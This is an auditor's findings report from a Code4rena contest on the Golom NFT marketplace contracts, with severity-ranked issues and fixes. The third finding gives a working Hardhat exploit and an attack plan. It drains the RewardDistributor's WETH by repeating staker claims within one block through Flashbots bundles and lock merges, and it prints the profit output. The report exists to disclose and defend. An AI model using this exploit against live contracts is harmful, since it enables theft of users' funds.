Golom contest - Krow10's results

Lines of code

https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L298-L305

Vulnerability details

Impact

The ve storage variable in the RewardDistributor contract, initially set to 0, is meant to be changed with a call to the addVoteEscrow function. The function is supposed to set the new ve immediately if hasn't been initialized but the assignment uses the wrong variable at line 300.

Since the pendingVoteEscrow is also 0 at the start, the code flow will never reach the else condition and will result in the contract being unusable, meaning all rewards accumulated by users from Golom Traders referencing the contract cannot be redeemed.

Proof of Concept

Hardhat test:

it('[#1] VoteEscrow cannot be set', async () => {
    expect(
        await rewardDistributor.ve()
    ).to.be.equal(ethers.constants.AddressZero);

    // Since ve is null, addVoteEscrow should immediatly set the new ve without needing confirmation
    await rewardDistributor.connect(governance).addVoteEscrow(await governance.getAddress());

    expect(
        await rewardDistributor.ve()
    ).to.be.equal(ethers.constants.AddressZero); // ve is still null however as the value is set to the 'pendingVoteEscrow' null by default and cannot be changed due to code flow 
});

Recommended Mitigation Steps

Change line 300 to ve = VE(_voteEscrow);.

Lines of code

https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/core/GolomTrader.sol#L381 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/core/GolomTrader.sol#L389-L394 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/core/GolomTrader.sol#L396-L399

Vulnerability details

Impact

The protocolFee in _settleBalances() is calculated from the 0.5% flat fee multiplied by the amount of tokens bought in the bid order. However when evaluating the amount of Ether to send to the seller, the calculation also multiplies the terms by the amount parameter. This results in less Ether sent to the seller and funds remaining in the GolomTrader contract after the transaction is finished.

This impacts users who want to accept a bid order for multiple ERC1155 tokens as ERC721 tokens are limited to one per order and are not affected by this.

Proof of Concept

Hardhat test case :

describe('Exploits', function() {
        it('[#1] Wrong calculation in _settleBalance() results in loss of ETH profit for seller', async () => {
            let makerBalanceBefore = await ethers.provider.getBalance(maker.address);
            let takerFunds = ethers.utils.parseEther('15'); // Taker wants to buy 10 tokens for 1.5 ETH each from maker
            let tokenAmt = 10;
            await weth.connect(taker).deposit({value: takerFunds}); // Convert to WETH
            await weth.connect(taker).approve(golomTrader.address, ethers.constants.MaxUint256);
            
            expect(
                await weth.balanceOf(taker.address)
            ).to.be.equal(takerFunds);

            await testErc1155.mint(maker.address); // Mint dummy ERC1155 tokens for maker

            let exchangeAmount = ethers.utils.parseEther('1'); // Cut for the exchanges FOR EACH TOKEN = 10 ETH total
            let prePaymentAmt = ethers.utils.parseEther('0.25'); // Royalty cut FOR EACH TOKEN = 2.5 ETH total
            let totalAmt = takerFunds.div(tokenAmt); // Amount per token 1.5 ETH
            let tokenId = 0;

            const order = {
                collection: testErc1155.address,
                tokenId: tokenId,
                signer: taker.address,
                orderType: 1, // Bid
                totalAmt: totalAmt,
                exchange: { paymentAmt: exchangeAmount, paymentAddress: exchange.address },
                prePayment: { paymentAmt: prePaymentAmt, paymentAddress: prepay.address },
                isERC721: false,
                tokenAmt: tokenAmt,
                refererrAmt: 0,
                root: '0x0000000000000000000000000000000000000000000000000000000000000000',
                reservedAddress: constants.AddressZero,
                nonce: 0,
                deadline: Date.now() + 100000,
                r: '',
                s: '',
                v: 0,
            };

            let signature = (await taker._signTypedData(domain, types, order)).substring(2);
            order.r = '0x' + signature.substring(0, 64);
            order.s = '0x' + signature.substring(64, 128);
            order.v = parseInt(signature.substring(128, 130), 16);

            await golomTrader.connect(maker).fillBid(
                order, 
                tokenAmt, 
                '0x0000000000000000000000000000000000000000', 
                {paymentAmt: prePaymentAmt, paymentAddress: await governance.getAddress()} // Governance gets paid only ONCE so 0.25 ETH
            );

            /*
            10 tokens at 1.5 ETH each

            Expected :
            ----------
                Taker : -1.5 ETH * 10 tokens            = -15 ETH
                Exchange : 1 ETH * 10 tokens            = +10 ETH
                Royalty : 0.25 ETH * 10 tokens          = +2.5 ETH
                Governance :                            = +0.25 ETH
                Distributor : 0.005*1.5 ETH * 10 tokens = 0.075 ETH
                ===============================================
                Maker :                                 = 2.175 ETH 

            Actual :
            ----------
                Taker : -1.5 ETH * 10 tokens            = -15 ETH
                Exchange : 1 ETH * 10 tokens            = +10 ETH
                Royalty : 0.25 ETH * 10 tokens          = +2.5 ETH
                Governance :                            = +0.25 ETH
                Distributor : 0.005*1.5 ETH * 10 tokens = 0.075 ETH
                ===============================================
                Maker :                                 = 1.5 ETH
                Golom contract :                        = 0.675 ETH 
            */

            expect(
                await ethers.provider.getBalance(golomTrader.address)
            ).to.be.gt(0); // Extra ETH from wrong calculation
        });
    });

Recommended Mitigation Steps

Remove the amount multiplier in the protocolFee assignation (line 381). This requires to change line 384 to multiply by the amount (like the next ones).

Lines of code

https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L172-L210 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L185

Vulnerability details

Impact

A malicious user can repeatedly claim the same staker reward for an epoch, provided the transactions all happen in the same block. This can effectively be done using services like Flashbots bundles and will result in the draining of the WETH balance of the RewardDistributor contract.

The idea is to bypass the require statement line 185 which checks if a claim has been already done for the epoch, for a specific token ID. By moving the locked tokens in a new lock, a new token ID will be generated and can be used to claim the rewards again, if the transaction happens in the same block for which the epoch is updated.

Indeed, when multiStakerClaim() is called, the rewardETH will be calculated from the amount of tokens locked in tokenids[tindex] at the block that triggered the epoch change (variable epochBeginTime). If, during this time, an attacker transfers its staked tokens to a new vault using the merge function of the VE token, the function will calculate the amount of staked tokens for the newly created tokenID as the same as the original tokenID reward.

A example abuse will look like this (pseudo-code adapted from the PoC) :

lockID = voteEscrow.create_lock(amount, 1 week); // Create lock #1 before
// IN THE BLOCK OF EPOCH CHANGE
rewardDistributor.multiStakerClaim([lockId], [0]); // Claim epoch 0 rewards for lock #1
voteEscrow.create_lock(1, 1 week); // Create lock #2 (requires 1 Golom token, could be created in advance)
voteEscrow.merge(lockId, lockId + 1); // Transfer lock #1 tokens to lock #2
rewardDistributor.multiStakerClaim([lockId + 1], [0]); // Claim same epoch rewards for lock #2
// repeat ...

To abuse this, the attacker needs to follow this steps:

• Have some locked Golom tokens.
• Wait for a addFee call that will trigger an epoch change (this can be monitored by looking at the mempool or predicted from block timestamps). Services like Flashbots also allows for specifying a range of blocks for bundles for better targeting.
• Send a bundle of transactions to be included with the block containing the epoch changing transaction (see the PoC for an example of transactions).

Note that this needs to succeed only once to allow an attacker to drain all WETH funds so if the bundle isn't included for a particular epoch, given the frequency of epoch changes, the bundle will eventually be included and trigger the exploit.

Proof of Concept

Hardhat config for disabling auto-mine and control transactions included in blocks:

hardhat: {
    allowUnlimitedContractSize: true,
    gas: 12000000,
    blockGasLimit: 0x1fffffffffffff,
    mining: {
      auto: false,
      interval: 10
    }
},

Hardhat test (requires setting up VoteEscrow):

it('[#2] Repeated calls to `multiStakerClaim` in the same block leads to loss of funds', async () => {
    async function advance_time(time_s:any){
        let timestamp = await getTimestamp();
        await ethers.provider.send('evm_mine', [timestamp + time_s]);
    }

    async function mine(){
        await ethers.provider.send('evm_mine', []);
    }

    async function send_order(){
        await testErc721.mint(await maker.getAddress());

        let exchangeAmount = ethers.utils.parseEther('1'); // cut for the exchanges
        let prePaymentAmt = ethers.utils.parseEther('0.25'); // royalty cut
        let totalAmt = ethers.utils.parseEther('10');
        let tokenId = await testErc721.current();

        const order = {
            collection: testErc721.address,
            tokenId: tokenId,
            signer: await maker.getAddress(),
            orderType: 0,
            totalAmt: totalAmt,
            exchange: { paymentAmt: exchangeAmount, paymentAddress: await exchange.getAddress() },
            prePayment: { paymentAmt: prePaymentAmt, paymentAddress: await prepay.getAddress() },
            isERC721: true,
            tokenAmt: 1,
            refererrAmt: 0,
            root: '0x0000000000000000000000000000000000000000000000000000000000000000',
            reservedAddress: constants.AddressZero,
            nonce: 0,
            deadline: Date.now() + 100000000,
            r: '',
            s: '',
            v: 0,
        };

        let signature = (await maker._signTypedData(domain, types, order)).substring(2);

        order.r = '0x' + signature.substring(0, 64);
        order.s = '0x' + signature.substring(64, 128);
        order.v = parseInt(signature.substring(128, 130), 16);

        return golomTrader.connect(prepay).fillAsk(
            order, 
            1, 
            constants.AddressZero, 
            {paymentAmt: prePaymentAmt, paymentAddress: await governance.getAddress()}, 
            constants.AddressZero, 
            {value: utils.parseEther('10.25')}
        );
    }

    async function showPendingBlock(){
        console.log('[PENDING]\n', await ethers.provider.send("eth_getBlockByNumber", ["pending", false]));
    }

    // Get some Golom tokens to taker, could come from anywhere
    await golomToken.connect(governance).mintAirdrop(await taker.getAddress());
    // Approve spending from VE
    await golomToken.connect(taker).approve(voteEscrow.address, constants.MaxUint256);

    // Simulate more fees by putting some ETH in contract before epoch 0
    await maker.sendTransaction({to: rewardDistributor.address, value: utils.parseEther('100')});

    // Taker starts with 10_000 ETH, hardhat account
    let takerStartBalance = await ethers.provider.getBalance(taker.address);
    // Send order for first epoch to get some fees in 'epochTotalFee'
    await send_order();
    await mine();
    advance_time(1659211200 + 24*60*60 + 1); // Fast forward to epoch 1
    
    // Setup some users who locks their tokens in VE beforehand
    let lockId = 0;
    for (let i = 0; i < 5; ++i){
        let user = accounts[6+i];
        await golomToken.connect(taker).transfer(await user.getAddress(), utils.parseEther('1'));
        await golomToken.connect(user).approve(voteEscrow.address, constants.MaxUint256);
        await voteEscrow.connect(user).create_lock(utils.parseEther('1'), 7*24*60*60, {gasLimit: 100000000});
        lockId += 1;
    }

    // Create lock for taker with 1 ETH equivalent in Golom tokens (could work with only 1 'Wei' token although it will require lots of transactions)
    await voteEscrow.connect(taker).create_lock(utils.parseEther('1'), 24*60*60*7, {gasLimit: 100000000});
    lockId += 1;
    await send_order(); // Trigger epoch change

    // --- IN THE SAME BLOCK ---
    await rewardDistributor.multiStakerClaim([lockId], [0]); // Claim epoch rewards for lock #1
    await voteEscrow.connect(taker).create_lock(1, 24*60*60*7, {gasLimit: 100000000}); // Create lock #2 (requires 1 Golom token)
    await voteEscrow.connect(taker).merge(lockId, lockId + 1, {gasLimit: 100000000}); // Merge lock #1 tokens to lock #2
    await rewardDistributor.multiStakerClaim([lockId + 1], [0]); // Claim same epoch rewards for lock #2
    // ... Repeat as much as you want ;)
    // --- IN THE SAME BLOCK ---
    await mine();

    console.log('Taker WETH balance:', utils.formatEther(await weth.balanceOf(taker.address)));
    await weth.connect(taker).withdraw(await weth.balanceOf(taker.address)); // Could be the last transaction in the block too
    await mine();

    // Taker balance difference is +++ at the end 
    let takerEndBalance = (await ethers.provider.getBalance(taker.address)).sub(takerStartBalance);
    console.log('Taker ETH balance:', utils.formatEther(await ethers.provider.getBalance(taker.address)), '/ end:', utils.formatEther(takerEndBalance));
});

Sample output:

RewardDistributor.sol                                                                                                                                              
    Exploits                                                                                                                                                         
[SOL] 27 0 50000000000000000 // First addFee call for adding fees

[SOL] 38 0 50000000000000000 // Second addFee triggering epoch change
[WETH] Deposit 100100000000000000000 // Epoch 0 WETH deposit
[SOL_EPOCH]
1 599999983058823529411764 16941175992249134 50000000000000000 // epoch, tokenToEmit, stakerReward, previousEpochFee
16941175992249134 401999977298823849898962 197999988818823687263667 38 // rewardStaker[epoch], rewardTrader[epoch], rewardExchange[epoch], epochBeginTime[epoch]

0x70997970c51812dc3a010c7d01b50e0d17dc79c8 balance before: 0 // WETH balance of taker
[CLAIM] 6 38 911822995832895 // First multiStakerClaim, (tokenID, epochBeginTime, balanceOfAtNFT)
[WETH] Sent 16683333333333333333 to 0x70997970c51812dc3a010c7d01b50e0d17dc79c8
0x70997970c51812dc3a010c7d01b50e0d17dc79c8 balance after: 16683333333333333333 // WETH balance of taker

0x70997970c51812dc3a010c7d01b50e0d17dc79c8 balance before: 16683333333333333333 // WETH balance of taker
[CLAIM] 7 38 911822995832895 // Second multiStakerClaim, (tokenID, epochBeginTime, balanceOfAtNFT)
[WETH] Sent 16683333333333333333 to 0x70997970c51812dc3a010c7d01b50e0d17dc79c8
0x70997970c51812dc3a010c7d01b50e0d17dc79c8 balance after: 33366666666666666666 // WETH balance of taker

Taker WETH balance: 33.366666666666666666 // After block is mined
Taker ETH balance: 10033.36524137856006494 / end: 33.365289929424174404 // Profit !!
      √ [#2] Repeated calls to `multiStakerClaim` in the same block leads to loss of funds

Recommended Mitigation Steps

I initially thought about a few possible solutions:

• Checking a lock creation time to prevent claiming from locks created in the same block but the attacker can just create the blocks beforehand.
• Tracking the msg.sender or tx.origin for preventing multiple calls to multiStakerClaim in the same block but the attacker can just send transactions from different addresses.
• Preventing the merging of locks but the attacker can just create locks in advance and withdraw/add funds continuously between old/new locks.

None really fixes the vulnerability as it comes from the feature of locks being tradable meaning it's not practically feasable to know if a lock has already be claimed by an individual just by looking at the lock ID.

A possible solution would be to find a way to prevent multiple calls to the same function within a block or better, make a checkpoint of the locks balances for each epochBeginTime and uses these values for calculating the rewards (instead of querying the VE contract in the loop).

Judge has assessed an item in Issue #207 as Medium risk. The relevant finding follows:

[L-03] Use safeTransferFrom for ERC721 tokens Description As OpenZeppelin recommends, the transferFrom function should not be used for transferring ERC721 NFT tokens and instead the safeTransferFrom function should be used to prevent tokens from being locked.

Findings https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L236 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L301 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L361

Recommended mitigation steps Use the safeTransferFrom function in place of the transferFrom function.

Low severity

[L-01] Traders and exchanges rewards claims might be triggered by others

Description

The functions traderClaim and exchangeClaim from the RewardDistributo contract can be called by anyone to claim rewards for tokens they don't own. While this is not a security issue, it can be annoying for traders and especially exchanges to have their rewards claimed at anytime, as it might trigger workflows or other setups that they might have in place for handling the rewards.

Findings

https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L141-L152 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L155-L166

Recommended mitigation steps

Use require(msg.sender == addr, 'Cannot claim for others') at the top of the functions and eventually add a third parameter for specifying an address to transfer the funds to for more flexibility.

[L-02] Avoid using hardcoded contract address

Description

Hardcoding other contract addresses can be dangerous if the contract is to be deployed on other chains were the contract hasn't been initialized yet.

Findings

https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/core/GolomTrader.sol#L45

Recommended mitigation steps

Best practice will be to set the WETH contract address from the constructor and eventually add functions (similar to others like setMiner, or setVoteEscrow) to change the contract address.

[L-03] Use safeTransferFrom for ERC721 tokens

Description

As OpenZeppelin recommends, the transferFrom function should not be used for transferring ERC721 NFT tokens and instead the safeTransferFrom function should be used to prevent tokens from being locked.

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L236 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L301 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L361

Recommended mitigation steps

Use the safeTransferFrom function in place of the transferFrom function.

[L-04] Exchanges could profit from signing orders on behalf of their customers and take 100% of the fees

Description

The fee system that Golom intend to put in place wants to reward both the users and the exchanges that facilitate the transactions. However, unwarry users may be enticed to give approval of their tokens to exchanges that will sign the transfers for them, effectively cumulating both the signer and exchange rewards when filling orders. This could lead users to miss on rewards.

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L269 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L402

Recommended mitigation steps

The addFee function could require that the two address supplied be different (note that this doesn't prevent exchanges from using a second address for signing transactions). Golom should incentivize users to be wary of such exchanges.

Non-critical

[N-01] Wrong or misleading comments

Description

Comments are important for developers to communicate effectively their intent when writing code and especially when participating in an audit process to give better context and understanding to auditors. While the code in general is of good quality, there instances where comments have been misleading or are entierly wrong.

Findings

https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L252-L253 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L267-L268

Recommended mitigation steps

Rephrase, clarify, correct or remove the identified comments.

[N-02] Mark all private functions with a starting underscore for consistency

Description

As it's common practice when writing Solidity code, private and internal functions are usually prefixed with an underscore for developers to quickly visualize the critical public and external functions in the code. Automated tools can also really on this practice for parsing.

Findings

https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/core/GolomTrader.sol#L112 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L198

Recommended mitigation steps

Prefix all internal and private functions with an underscore for consistency.

[N-03] Cryptic or missing require statement messages

Description

When reverting a transaction, it's important to provide a meaningful message that will be passed down to the user in order to know what whent wrong with the transaction. Some of the reverting messages in the code are either missing or do not provide any value to the end user.

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L239 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L245 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L88 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L144 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L158 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L211 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L217 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L220 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L285 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L291 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L293 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L295 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L313 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L342 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L345 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L347 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L349 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L350

Recommended mitigation steps

Rephrase, clarify or correct the identified revert messages.

[N-04] Missing events for important state changing operations

Description

Events are an important aspect of making smart contracts as it allows for off-chain tools and services to quickly register state changes from a contract and notice users about relevant changes. Such changes usually includes owner changes, claimed rewards, etc. The Golom contracts are missing some events regarding those important changes (such as setMinter, or setVoteEscrow).

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/governance/GolomToken.sol#L58 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/governance/GolomToken.sol#L65 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L210 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L285 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L291 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L298 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L308 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L141 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L155 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L172 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L444 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L454

Recommended mitigation steps

Add relevant events to the indicated functions for noticing important changes.

[G-01] No need to initialize variable to zero

Description

In Solidity, variables are initialized to zero by default so there is no need to spend extra gas on zero-value assignations.

Findings

https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L45 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L142 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L143 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L156 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L157 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L175 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L176 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L180 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L183 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L222 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L223 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L226 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L257 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L258 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L272 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L273 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/core/GolomTrader.sol#L415 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L50 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L147 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L170 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L171 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L188 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L189 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L697 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L698 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L735 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L745 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L749 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L1042 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L1044 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L1113 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L1115 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L1133 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L1134 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L1167 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L1169 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L1211

Recommended mitigation steps

Simply remove the variable assignement to zero.

[G-02] Avoid redundant require and if checks

Description

In the validateOrder function, an if check is present right after a require check with the same condition meaning that the if code will never be runned.

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L177-L180

Recommended mitigation steps

Remove either the require check for getting the status return value of 0 or the if check has it's dead code.

[G-03] validateOrder different status codes are not used

Description

In the validateOrder function, different status code are returned depending on the reason for the invalidation of the order. However, this status codes are never used elsewhere appart for telling if the order is valid or not. This means all the checks could be done in one if clause.

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L181-L193

Recommended mitigation steps

Consider using a single value (1 or 0 for valid/invalid) or boolean to remove unneccessary code.

[G-04] Unnecessary variable assignements

Description

Some variable are declared and assigned but only used once and could be inlined for gas savings.

Findings

